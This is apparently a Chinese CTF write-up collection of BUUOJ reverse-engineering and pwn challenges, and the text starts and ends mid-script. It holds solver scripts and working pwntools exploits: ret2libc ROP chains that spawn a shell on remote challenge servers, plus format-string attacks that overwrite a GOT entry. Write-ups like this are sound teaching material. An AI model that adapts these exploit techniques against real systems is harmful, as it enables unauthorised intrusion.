k[29] = v8[12] << 24 | v8[13] << 16 | v8[14] << 8 | v8[15];
k[28] = v8[8] << 24 | v8[9] << 16 | v8[10] << 8 | v8[11];
k[27] = v8[4] << 24 | v8[5] << 16 | v8[6] << 8 | v8[7];
k[26] = v8[0] << 24 | v8[1] << 16 | v8[2] << 8 | v8[3];

for (size_t i = 25; i >= 0; i--) {
uint32_t t = k[i + 1] ^ k[i + 2] ^ k[i + 3];
uint32_t t1 = tau(t);
uint32_t t2 = L(t1);
// printf("0x%x\n",t2);
k[i] = k[i+4] ^ t2;
if (i == 0)break;
}
printArray('key',k,16);
printf("%s\n",k);
return 0;
}

sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}

[rev][WUSTCTF2020]funnyre

  1. 进入主函数

  2. 发现一大堆xor,add,++,~处理

  3. 拷贝所有反编译后的代码,使用正则表达式处理,得到以下一些东西

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    ^=0x91
    ^=0xCD
    ^=0x6A
    ^=0x59
    ^=0xA
    ^=0xF3
    ^=0xCA
    ^=0x3E
    ^=0x6C
    ^=0x4F
    ^=0x24
    ^=0x83
    ^=0xC4
    ^=0x53
    ^=4
    ^=0x9E
    ^=0x42
    ^=0xE
    ^=0x8D
    ^=0x38
    ^=0x7A
    ^=0xDD
    ^=0x52
    ^=0x1B
    ^=0xAA
    ^=0xAE
    ^=0xF8
    ^=0x58
    ^=0xF2
    ^=0x9F
    ^=0x3C
    ^=0xA1
    ^=6
    ^=0x78
    ^=0x70
    ^=0x28
    ^=0xEA
    ^=0x48
    ^=0xE4
    ^=0x6E
    ^=0x40
    ^=0x89
    ^=0x16
    ^=0xD7
    ^=0xB5
    ^=0xD
    ^=0x17
    ^=0x5A
    ^=0xB1
    ^=0x69
    ^=0x5C
    ^=0x21
    ^=0xE5
    ^=0x7E
    ^=0x2A
    ^=0x94
    ^=0xBC
    ^=1
    ^=0x74
    ^=0x57
    ^=0x6D
    ^=0x1E
    ^=0xA2
    ^=0x6B
    ^=0x22
    ^=0xC2
    ^=0x3D
    ^=0x44
    ^=0x90
    ^=0x8C
    ^=0xB3
    ^=0xA6
    ^=0x79
    ^=0x61
    ^=0xD9
    ^=0x5B
    ^=0x1A
    ^=0x43
    ^=0x8F
    ^=0xA5
    ^=0xEE
    ^=0x25
    ^=0x46
    ^=0xE6
    ^=0x88
    ^=0x20
    ^=0x71
    ^=0xE8
    ^=9
    ^=0x8A
    ^=0x7B
    ^=0xB4
    ^=0x19
    ^=0x15
    ^=0x4A
    ^=0x47
    ^=0xDB
    ^=0x72
    ^=0x5F
    ^=0x26
    ^=0xA7
    ^=0x8B
    ^=0xBA
    ^=0xBF
    ^=0x87
    ^=0x36
    ^=0x3F
    ^=0xFE
    ^=0x77
    ^=0x1C
    ^=0x81
    ^=0x11
    ^=0x2E
    ^=0x7C
    ^=0x63
    ^=0x45
    ^=0xF4
    ^=0x56
    ^=0xF1
    ^=0xB0
    ^=0xD1
    ^=0xE0
    ^=0xF
    ^=0x93
    ^=0xD6
    ^=0x1F
    ^=0xCC
    ^=0x4B
    ^=0xCF
    ^=0xDF
    ^=0x55
    ^=0xB9
    ^=0x2B
    ^=0x85
    ^=0x31
    ^=0x29
    ^=0xFD
    ^=0x3A
    ^=0x5E
    ^=0xDE
    ^=3
    ^=0xC6
    ^=0xC1
    ^=0xC5
    ^=0x54
    ^=0xBB
    ^=0xFC
    ^=0xBE
    ^=0xEC
    ^=0xC0
    ^=0xAD
    ^=0xA4
    ^=0xD0
    ^=0x35
    ^=0xB7
    ^=0x51
    ^=0xAB
    ^=0x2D
    ^=0xAF
    ^=0x92
    ^=0x60
    ^=0xAC
    ^=0x30
    ^=0xD4
    ^=0xCB
    ^=0x9B
    ^=0x9A
    ^=0xFB
    ^=0x6F
    ^=0xF7
    ^=0x8E
    ^=0xA0
    ^=0x27
    ^=0xC9
    +=-128
    ^=0x7D
    ^=0x9D
    ^=0x1D
    ^=0xDA
    ^=0xD8
    ^=0xEB
    ^=0xF6
    ^=0xE3
    ^=0x98
    ^=0xE1
    ^=0x34
    ^=0x82
    ^=0x7F
    ^=0xD5
    ^=0xE7
    ^=0xB8
    ^=0xDC
    ^=0x97
    ^=0xA3
    ^=7
    ^=0xB6
    ^=0xB
    ^=0x14
    ^=0xCE
    ^=0x66
    ^=0x62
    ^=0xEF
    ~
    ^=0xF9
    ^=0xA9
    ^=0x4E
    ^=0xD3
    ^=0xC7
    ^=0xE2
    ^=0xD2
    ^=0x33
    ^=0xA8
    ^=0x96
    ^=0xBD
    ^=0xC
    ^=0x13
    ^=0x2F
    ^=0x73
    ^=0x65
    ^=0x9C
    ^=0x12
    ^=2
    ^=0x32
    ^=0x10
    ^=0x84
    ^=0xED
    ^=0x95
    ^=0x4D
    ^=0x75
    ^=0x2C
    ^=0x5D
    ^=0x39
    ^=0x18
    ^=0x4C
    ^=0x49
    ^=0x37
    ^=0xF0
    ^=0x99
    ^=0x41
    ^=0x86
    ^=0x76
    ^=0xF5
    ^=5
    ^=0xC8
    ^=0x64
    ^=0xFA
    ^=0x50
    ^=0x3B
    ^=8
    ^=0xE9
    ^=0x23
    ^=0xC3
    ^=0x68
    ^=0x67
    +=80
    +=64
    +=79
    +=30
    +=91
    +=9
    +=5
    +=99
    +=87
    +=83
    +=59
    +=58
    ++
    +=90
    +=57
    +=65
    +=53
    +=41
    +=85
    +=89
    +=44
    +=70
    +=12
    +=84
    +=10
    +=74
    +=17
    +=38
    +=43
    +=33
    +=11
    +=94
    +=86
    +=55
    +=32
    +=97
    +=68
    +=50
    +=67
    +=71
    +=96
    +=56
    +=6
    +=73
    +=52
    +=42
    +=61
    +=69
    +=14
    +=75
    +=4
    +=40
    +=37
    +=15
    +=77
    +=2
    +=23
    +=62
    +=29
    +=49
    +=47
    +=27
    +=66
    +=82
    +=46
    +=19
    +=88
    +=63
    +=39
    +=35
    +=25
    +=51
    +=18
    +=92
    +=95
    +=3
    +=72
    +=48
    +=36
    +=93
    +=76
    +=22
    +=98
    +=81
    +=13
    +=45
    +=34
    +=78
    +=26
    +=54
    +=28
    +=31
    +=20
    +=16
    +=7
    +=24
    +=60
    +=21
    +=8
  4. 比对的数据在后面可以找到

  5. 写脚本反处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
import angr
import base64
from Crypto.Cipher import AES
from math import *
import struct
# from z3 import *

a = [0xd9, 0x2c, 0x27, 0xd6, 0xd8, 0x2a, 0xda, 0x2d, 0xd7, 0x2c, 0xdc, 0xe1, 0xdb, 0x2c, 0xd9, 0xdd, 0x27, 0x2d, 0x2a, 0xdc, 0xdb, 0x2c, 0xe1, 0x29, 0xda, 0xda, 0x2c, 0xda, 0x2a, 0xd9, 0x29, 0x2a]

with open('1.txt','r') as f:
ls = f.readlines()[::-1]
print(len(ls))
for line in ls:
if not line:break
if line[0]=='~':
for i in range(len(a)):
a[i]|=0x100
a[i]=~a[i]
elif line[0:2]=='^=':
if len(line)>4 and line[2:4]=='0x':
num = line[4:-1]
num = int(num,16)
else:
num = line[2:-1]
num = int(num,10)
for i in range(len(a)):
a[i]^=num
elif line[0:2]=='++':
for i in range(len(a)):
a[i]+=0x100
a[i]-=1
a[i]&=0xFF
elif line[0:2]=='+=':
if len(line)>4 and line[2:4]=='0x':
num = line[4:-1]
num = int(num,16)
else:
num = line[2:-1]
num = int(num,10)
for i in range(len(a)):
a[i]+=0x100
a[i]-=num
a[i]&=0xFF
print(bytes(a))

也可以使用IDAPython处理,也可以angr符号执行= =

[rev][GUET-CTF2019]encrypt

  1. rc4加密

  2. 类base64加密,只不过是加上61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import angr
import base64
from Crypto.Cipher import AES
from math import *
import struct
# from z3 import *

tab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res =[ord(i)-61 for i in r'Z`TzzTrD|fQP[_VVL|yneURyUmFklVJgLasJroZpHRxIUlH\vZE=']
c = ''
for i in range(len(res)):
c+=tab[res[i]]
c = c[:-1]+'='
c = bytes(c,encoding='utf-8')
print(c)
c = base64.b64decode(c)
print(c)
for i in c:
print(hex(i),end=",")
print()
key = [16,32,48,48,32,32,16,64]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>

void printArray(const char* name, uint8_t* data, size_t len) {
printf("==============%s========", name);
for (size_t i = 0; i < len; i++) {
if (!(i % 16))printf("\n");
printf("0x%02x,", data[i]);
}
printf("\n================================\n");
}
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数
{
int i =0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for (i=0;i<256;i++) {
s[i] = i;
k[i] = key[i%Len];
}
for (i=0; i<256; i++) {
j=(j+s[i]+k[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}

void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for(k=0;k<Len;k++) {
i=(i+1)%256;
j=(j+s[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[x]和s[y]
s[j] = tmp;
t=(s[i]+s[j])%256;
Data[k] ^= s[t];
}
}
int main() {
uint8_t sbox[256];
uint8_t key[] = {16,32,48,48,32,32,16,64};
rc4_init(sbox,key,8);
uint8_t data[] = {0x76,0x35,0xfd,0xf5,0x7d,0x47,0xfe,0x95,0x13,0x7a,0x26,0x59,0x3f,0xff,0x31,0xa1,0x85,0x7c,0x63,0x2,0x6e,0xbd,0x93,0x6a,0x3e,0x4d,0x8d,0xd7,0x27,0x73,0x2d,0x5e,0xcc,0x62,0xf2,0xdf,0xe5,0xd2,0};
rc4_crypt(sbox,data,sizeof(data)-1);
printf("%s\n",data);
return 0;
}

[pwn]ciscn_2019_c_1

ROP

  1. 使用puts函数打印puts的加载地址
  2. 获取到puts的地址后,再次布置栈,达到系统调用

execve系统调用号为59,参数为execve(“/bin/sh”,0,0);

“/bin/sh”libc中有

elf.got[‘puts’]内存放puts的地址,symbols是对应的函数的地址

使用dynELF查libc版本或LibcSearcher(我的查找到之后要选择第一个)

如果是Ubuntu18,需要一个ret才可以对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

def trans(s):
sa = [i for i in s]
cnt=0
for i in range(len(sa)):
sa[i] = ord(sa[i])

if sa[i]>=47 and sa[i]<=57:
sa[i]^=0xF
elif sa[i]>=65 and sa[i]<=90:
sa[i]^=0xE
elif sa[i]>=97 and sa[i]<=122:
sa[i]^=0xD
elif sa[i]==0:
break
cnt+=1
res = ''
for i in range(cnt):
res+=chr(sa[i])
res+=s[cnt:]
print(res)
return res
elf = ELF('./ciscn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
# p = gdb.debug('./ciscn')
# p = process('./ciscn')
p = remote('node3.buuoj.cn',29787)
p.recv()
'''
use: first give it got addr of puts,then we can calcute address of system(), as
well as '/bin/bash', next give it an overflow and get shell via gadget.
note that it does some change with character in [0-9a-zA-Z]
'''
pop_rdi = 0x400c83
puts_got = elf.got['puts']
puts = elf.symbols['puts']
func_addr = 0x4009A0
p.sendline('1')
p.recvuntil('encrypted\n')
payload = 'a'*0x50+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(func_addr)

p.sendline(payload)
p.recvuntil('\n')
p.recvuntil('\n')
puts_addr = p.recvuntil('\n')[:-1]
info(len(puts_addr))
puts_addr = u64(puts_addr.ljust(8,'\x00'))
info('puts_addr:0x%x'%puts_addr)
p.recv()
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')

ret = 0x4006b9
sys_addr = libc_base+libc.dump('system')
info('libc_base: 0x%x binsh: 0x%x sys_addr: 0x%x'%(libc_base,binsh,sys_addr))
payload = 'a'*0x58+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys_addr)
p.sendline(payload)
p.sendline('ls')
p.interactive()

[rev] [MRCTF2020]EasyCpp

  1. gdb加载基址指从相应段,如果实在找不到可以通过edb查看,或搜索内存中的特征串,然后通过偏移找到相关地址

  2. 有几个lambda函数,可以点进去查看的

  3. 输入9个数,存入vector

  4. 第一个lambda函数把每一个数异或1

  5. 第二个lambda找到每一个数的所有因数

  6. 0换成O,1–>l,2–>z,3–>E,4–>A,5–>s,6–>G,7–>T,8–>B,9–>q, (空格)–>=

  7. 最后提交的md5应该是大写,又不细心了= =

    1
       

#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>

void printArray(const char* name, uint8_t* data, size_t len) {
printf(“==============%s========”, name);
for (size_t i = 0; i < len; i++) {
if (!(i % 16))printf(“\n”);
printf(“0x%02x,”, data[i]);
}
printf(“\n================================\n”);
}

int main() {
char s[][256] = {“=zqE=z=z=z”,”=lzzE”,”=ll=T=s=s=E”,”=zATT”,”=s=s=s=E=E=E”,”=EOll=E”,”=lE=T=E=E=E”,”=EsE=s=z”,”=AT=lE=ll”};
char tab[256];
tab[‘=’] = ‘ ‘;
tab[‘O’]=0;
tab[‘l’]=1;
tab[‘z’]=2;
tab[‘E’]=3;
tab[‘A’]=4;
tab[‘s’]=5;
tab[‘G’]=6;
tab[‘T’]=7;
tab[‘B’]=8;
tab[‘q’]=9;

uint32_t num[9]={0};
for(size_t i=0;i<9;i++){
    char *ss = s[i];
    num[i]=1;
    uint32_t t = 0;
    for(size_t j=1;j<strlen(ss);j++){
        if(ss[j]=='='){
            num[i]*=t;
            t=0;
        }else{
            t=t*10+tab[ss[j]];
        }
    }
    num[i]*=t;
    num[i]^=1;
}
for(size_t i=0;i<9;i++){
    printf("%d ",num[i]);
}
printf("\n");
return 0;

}

1
2
3
4
5
6
7
8
9
10
11
12
## [rev][QCTF2018]Xman-babymips

1. ~~对counter做了个很复杂的变换最后只取前5个= =~~
2. 这段代码
```assembly
lw \$v0, 0x48+counter($fp)

addiu $v1, $fp, 0x48+counter

addu $v0, $v1, $v0

lb $v1, 4($v0)
实际上是加载了第counter个输入

off_input=off_counter+4
  1. input[i]^=(i-0x20)
  2. 奇数位循环右移2位,偶数位循环左移2位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import angr
import base64
from Crypto.Cipher import AES
from math import *
import struct
# from z3 import *

a = [0x52, 0xfd, 0x16, 0xa4, 0x89, 0xbd, 0x92, 0x80, 0x13, 0x41, 0x54, 0xa0, 0x8d, 0x45, 0x18, 0x81, 0xde, 0xfc, 0x95, 0xf0, 0x16, 0x79, 0x1a, 0x15, 0x5b, 0x75, 0x1f]
start = 'Q|j{g'
for i in range(len(a)):
if ((i)&1):
a[i]=a[i]>>2|(a[i]<<6)&0xFF
else:
a[i]=(a[i]<<2)&0xFF|a[i]>>6
for i in range(len(start)):
a = [ord(start[4-i])]+a
print(a,len(a))
for i in range(len(a)):
a[i]^=(0x20-i)
print(a)
print(bytes(a))

[pwn][OGeek2019]babyrop

  1. 程序产生随机数,读取用户输入,如果用户输入和随机数相等,则可以有exp

    呼,可以让buf=0,然后比对的字符数就是0,可以跳过认证

  2. 构造ROP链,先泄露write地址以便找到libc_base,然后利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

elf = ELF('./pwn')
libc = ELF('/home/kali/Music/libc32/libc-2.23.so')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
p = remote('node3.buuoj.cn',25866)
payload ='\x00'*7+p16(0xE7)
p.send(payload)
func_addr = 0x80487d0
write_addr = 0x8048578
pppr_addr = 0x080488f9
write_symbol = 0x8049FEC

payload = 'a'*0xeb+p32(write_addr)+p32(pppr_addr)+p32(1)+p32(write_symbol)+p32(4)+p32(func_addr)+'a'*4+p32(0xE7)
p.recvuntil('Correct\n')
p.sendline(payload)

write_addr = u32(p.recv()[:4])
libc_base = write_addr-libc.symbols['write']
sys_addr = libc_base+libc.symbols['system']
binsh = libc_base+libc.search('/bin/sh').next()

payload = 'a'*0xeb+p32(sys_addr)+p32(0)+p32(binsh)

info("sys_addr: 0x%08x,binsh: 0x%08x",sys_addr,binsh)
p.sendline(payload)

p.interactive()

[rev][SCTF2019]Who is he

  1. 找Assembly-CSharp.dll,反编译的答案,错的
  2. 看wp,感觉很离谱
  3. 使用CE搜索Emmm,找到两处字符串,查看此时的Memory View,分别转到两个字符串,发现两个base64串和两个4字节的字符串,分别尝试,第二个成功了= =
  4. 需要学习C#加密相关操作,另外吐槽x64dbg的字符串搜索不怎么好用。。
  5. 继续使用CE在内存中翻找,可以找到PE头,把dll dump下来,和结果内容基本一致
  6. dnspy调试unity也需要学习
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import angr
import base64
from Crypto.Cipher import DES,AES
from Crypto.Util.Padding import pad
from math import *
import struct
# from z3 import *

s = bytes([0x78,0x5A,0x57,0x44,0x5A,0x61,0x4B,0x45,0x68,0x57,0x4E,0x4D,0x43,0x62,0x69,0x47,0x59,0x50,0x42,0x49,0x6C,0x59,0x33,0x2B,0x61,0x72,0x6F,0x7A,0x4F,0x39,0x7A,0x6F,0x6E,0x77,0x72,0x59,0x4C,0x69,0x56,0x4C,0x34,0x6E,0x6A,0x53,0x65,0x7A,0x32,0x52,0x59,0x4D,0x32,0x57,0x77,0x73,0x47,0x6E,0x73,0x6E,0x6A,0x43,0x44,0x6E,0x48,0x73,0x37,0x4E,0x34,0x33,0x61,0x46,0x76,0x4E,0x45,0x35,0x34,0x6E,0x6F,0x53,0x61,0x64,0x50,0x39,0x46,0x38,0x65,0x45,0x70,0x76,0x54,0x73,0x35,0x51,0x50,0x47,0x2B,0x4B,0x4C,0x30,0x54,0x44,0x45,0x2F,0x34,0x30,0x6E,0x62,0x55,0x3D])
print(len(s))
# key = bytes('1234',encoding='utf-8')
key = b't\x00e\x00s\x00t\x00'
s = base64.b64decode(s)
print(s,len(s))
print(key,len(key))
des = DES.new(key=key,mode=DES.MODE_CBC,iv=key)
res = des.decrypt(s)
print(res)
print(res.decode('utf-8'))

参考资料

[1] 2019SCTF – ctfwp

[rev][NPUCTF2020]Baby Obfuscation

  1. F0X1

    辗转相除法求a,b最大公约数

  2. F0X4

    (a + b)=~(-a+b-1)=-(b-a-1)-1=a-b

  3. F0X5

    快速幂

  4. F0X3

    a&&b

  5. F0X2

    !a&&!b

  6. for循环

    1. 第一个if

      v33[j]=(str[j-1]+v35[(j-1)%4+4])=str[j-1]-v35[(j-1)%4+4]

    2. 第二个if不可能执行

    3. 第三个if

      v33[j]^=v35[(j-1)%4+4]

    4. 第四个if必不执行

    5. v33[j]*=10

  7. 字符串长度为15

  8. 比对

    (A0X6[k+1]-1)/10==v33[k]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

void printArray(const char* name, uint8_t* data, size_t len) {
printf("==============%s========", name);
for (size_t i = 0; i < len; i++) {
if (!(i % 16))printf("\n");
printf("0x%02x,", data[i]);
}
printf("\n================================\n");
}

int main() {
uint32_t a[] = {0x1e79, 0x1e79, 0x2135, 0x170d, 0x1f41, 0x1901, 0x2ced, 0x11f9, 0x2649, 0x2581, 0x2db5, 0x14b5, 0x25e5, 0x2a31, 0x30d5};
uint8_t flag[16]={0};
uint32_t xorD[] = {2,3,4,5};
for(size_t i=0;i<15;i++){
a[i]-=1;
a[i]/=100;
a[i]^=xorD[i%4];
flag[i]=a[i]+xorD[i%4];
}
printf("%s\n",flag);
return 0;
}

[rev][De1CTF2019]Re_Sign

  1. UPX加壳了,可是upx官方版说没加壳,使用upx官方版加壳又说加壳了= =,只好手动脱壳。具体操作为pushad之后栈上下硬件断点,F9到popad之后有个long jmp,jmp之后再单步调试法找到OEP在0x401000。之后使用Scylla插件dump内存为可执行文件,并且dump之后fix_dump
  2. 程序使用了什么库(搜不到),只能一步一步尝试
  3. 关键函数
    • 401233使用了换表base64编码,调试发现的,具体生成表操作在401615到4016F0之间
    • 402160再找到字母在标准b64表中的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib
import angr
import base64
from Crypto.Cipher import DES,AES
from Crypto.Util.Padding import pad
from math import *
import struct
# from z3 import *

s = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/='

print(len(s))
b64tab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
dic = {}
dicn = {}

for i in range(65):
dic[s[i]]=b64tab[i]
dicn[b64tab[i]]=i

fa = [0x08,0x3B,0x01,0x20,0x07,0x34,0x09,0x1F,0x18,0x24,0x13,0x03,0x10,0x38,0x09,0x1B,0x08,0x34,0x13,0x02,0x08,0x22,0x12,0x03,0x05,0x06,0x12,0x03,0x0F,0x22,0x12,0x17,0x08,0x01,0x29,0x22,0x06,0x24,0x32,0x24,0x0F,0x1F,0x2B,0x24,0x03,0x15,0x41,0x41]
fs = ''
for i in fa:
# print(i)
fs+=b64tab[i-1]
print(fs)
sfs = ''
for i in fs:
sfs+=dic[i]
print(sfs)
print(base64.b64decode(bytes(sfs,encoding='utf-8')))

[rev]HellScream

1
2
3
4
typedef struct BigInteger{
int len;
int data[MAX_LEN];
} BigInteger;
  1. 4019F0 a1的元素左移4位copy到a2上

  2. 401940 a2的元素加到a1第一个dword上,溢出则溢出部分加到第二个数上面,以此类推

    从这里看出实现了一个大整数运算库

  3. 406330 把int值转化成对应的base16串,小端字节序

  4. 405310 把BigInteger放入数组

  5. 406230 直接把字符串放入username对应的结构体data字段

  6. 4020E0 根据406330得出大概是mod(),并且有三个参数,分别是被除数(也是余数的存放位置),商存放位置,除数

  7. 403E30 猜测是mod n

  8. 4018E0 复制String

  9. 401910 将a1初始化为String且初始值为a2

  10. 401510 check函数

    • 最终input=Happy Birthday Buddy
    • 核心逻辑似乎在401000
    • 4062A0 把结构体中的数据提取到input
    • 4064D0 pow mod n

看题解了,RSA算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib
import angr
import base64
from Crypto.Cipher import DES,AES
from Crypto.Util.Padding import pad
from math import *
import struct
# from z3 import *
from gmpy2 import *

n = 0xA324F100182D501F6F6F78F397A3AA59641023D6A3DED8A4BF344F1E0FC71C188F4D
p = 62822928286347608648869628628072621308819
q = 76979057716441943100156208562083628995999
phi = (p-1)*(q-1)
e = powmod(0x6D6F632E6D736131352E777777,17,n)
# m = 0x6B6F007964647542207961646874726942207970706148 # Happy Birthday Buddy\x00ok
m = 0x7964647542207961646874726942207970706148
# E <= e+99
d = 0
for i in range(100):
E = e+i
try:
d=invert(E,phi)
print(i)
print(hex(powmod(m,d,n)).upper())
except Exception:
continue
r = 0x1234567890
print(hex(e))

[rev]Snake

总是纠结于Assembly-CSharp.dll,实际上flag不在里面啊555

  1. 查看各个类,发现有个Interface类是C代码写的,所以应该找到这个Interface,使用IDA打开
  2. 然后查看各个方法的参考,其中GameObject在Move中被调用,传入的参数为x,y坐标,所以不会很大,观察常量为199
  3. 直接加载dll爆破flag即可
  4. 查看dll,利用了大整数库,应该是公钥加密之类的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>
#include <Windows.h>

using namespace std;

int main(){
HMODULE hMod = LoadLibraryA("C:\\Users\\Tom\\Downloads\\Snake\\Snake_Data\\Plugins\\Interface.dll");
typedef int64_t (*FuncPtr)(int i);
FuncPtr func = (FuncPtr) GetProcAddress(hMod,"GameObject");
if(hMod==NULL||func==0){
cout<<"Load Failed"<<endl;
exit(1);
}
for(size_t i=0;i<200;i++){
func(i);
}
return 0;
}

flag{Ch4rp_W1th_R$@}

[rev][HDCTF2019]MFC

MFC程序逆向

  1. 程序加了VMP,一时半会儿弄不出来
  2. 使用xspy得到一个奇怪的消息码:0x464
  3. 使用对应的消息码给程序发消息,得到一个des key
  4. 使用CE搜索Flag,发现上方不远处有一串字符串,就是加密过的文本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <string>
#include <iostream>
#include <vector>
#include <algorithm>
#include <Windows.h>

using namespace std;

int main(){
HWND h = FindWindowW(NULL,L"Flag就在控件里");
if(h==NULL){
printf("error\n");
}else{
SendMessage(h,0x464,NULL,NULL);
}
return 0;
}

http://tool.chacuo.net/cryptdes

[pwn][第五空间2019 决赛]PWN5

printf可以实现任意地址读写

任意地址写的payload可以使用fmtstr_payload方法生成

1

在随机数出写入自定义的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF('./pwn-1')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
p = process('./pwn-1')

addr = 0x804c044
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload +=r'%10$hhn'+r'%11$hhn'+r'%12$hhn'+r'%13$hhn'
p.sendline(payload)
p.recvuntil('Hello')
p.sendline(str(0x10101010))
p.interactive()

2

修改atoi函数的got表指向system,然后传/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

elf = ELF('./pwn-1')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
# p = gdb.debug('./pwn-1')
p = process('./pwn-1')

addr = 0x804c044
sys_addr = elf.plt['system']
atoi_addr = elf.got['atoi']
payload = fmtstr_payload(10,{atoi_addr:sys_addr})
p.sendline(payload)
p.recvuntil('Hello')
p.sendline('/bin/sh')
p.interactive()

3

读取随机数的值,然后填那个值,需要注意符号。很不稳定,容易出现溢出,比如说正负数问题,只有在随机数为正时可以pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

elf = ELF('./pwn-1')
# libc = ELF('/home/kali/Music/libc32/libc-2.23.so')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
# p = gdb.debug('./pwn-1')
p = process('./pwn-1')

addr = 0x804c044
payload = p32(addr)+r'%10$s'
p.sendline(payload)
p.recvuntil('Hello,')
res = p.recv()
rand = u32(res[4:8])
